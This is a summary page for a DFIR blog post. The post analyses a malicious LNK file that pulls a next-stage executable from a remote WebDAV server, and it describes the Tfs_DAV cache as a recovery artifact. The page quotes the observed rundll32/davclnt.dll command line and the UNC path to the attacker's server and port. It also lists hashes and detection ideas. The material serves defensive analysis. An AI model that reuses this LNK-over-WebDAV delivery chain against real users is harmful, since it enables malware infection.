Skip to content

Back to the catalog

dfir.chwriteup

Today I Learned - WebDAV Cache

dfir.ch analyzes a malicious LNK file (schedule.lnk) served from an open directory that downloads a next-stage payload (Erlianaw.exe) over WebDAV via rundll32.exe and davclnt.dll. The post highlights a lesser-known DFIR artifact: WebDAV file transfers cache a copy of the retrieved executable in C:\Windows\...\AppData\Local\Temp\TfsStore\Tfs_DAV\{GUID}.exe, which can be matched against VirusTotal hashes to recover the delivered payload even without the original download, and references CVE-2024-21412 regarding companion .url files that can reveal the source URL.

TL;DR WebDAV file downloads leave a recoverable forensic copy in Tfs_DAV cache, demonstrated on an LNK-delivered malware sample.
Open original ↗
Document

What it is

A DFIR.ch "Today I Learned" post documenting a forensic artifact left by WebDAV-delivered malware. The trigger is schedule.lnk (MD5 62d5389d43931237e9d3d1aa77c87483), found in an open directory alongside the MS_calendar.lnk file @karol_paciorek tweeted about. The LNK points at .\Erlianaw.exe with working directory \\216.9.224.58@5555\DavWWWRoot\files — i.e. it pulls the next-stage payload from a remote WebDAV server at 216.9.224.58 on port 5555.

How it works

Executing the LNK causes Windows to open a WebDAV connection, which is carried out by rundll32.exe invoking davclnt.dll's DavSetCookie function:

rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie 216.9.224.58@5555 http://216.9.224.58:5555/

Files retrieved this way are cached locally, at least temporarily, under:

C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp\TfsStore\Tfs_DAV\{GUID}.exe

The observed cache file {CACAF1F7-CE7C-4CA2-B9E3-ABBC9F6E965D}.exe had an MD5 matching the VirusTotal entry for Erlianaw.exe — confirming the GUID-named cache file is the downloaded payload under a new name.

What to do

Two detection angles the post supplies beyond the summary:

  • User agent monitoring. The WebDAV client uses a distinctive user agent (the one Didier Stevens documented years ago). For orgs proxying outbound traffic, alert on this user agent to catch WebDAV retrieval.
  • Process telemetry. Watch for rundll32.exe loading davclnt.dll,DavSetCookie against external hosts, and for file-creation events in \TfsStore\Tfs_DAV\.
  • Forensic recovery. The Tfs_DAV cache preserves retrieved payloads (GUID-renamed) and any .url files there can reveal the source URL of the download — useful for reconstructing an infection chain after the fact.

Caveats

The cache is described as holding files "at least temporarily," so absence is not proof nothing was fetched. The .url-file-reveals-source-URL behavior is credited to @SBousseaden in the context of CVE-2024-21412 and to @enigma0x3's 2017 work on the Tfs_DAV copy behavior — the author notes he was "late to the party," so treat this as a consolidation of known technique, not a new finding.

CVEs named here

Technologies named here

Techniques named here

Related in Blue Team & Detection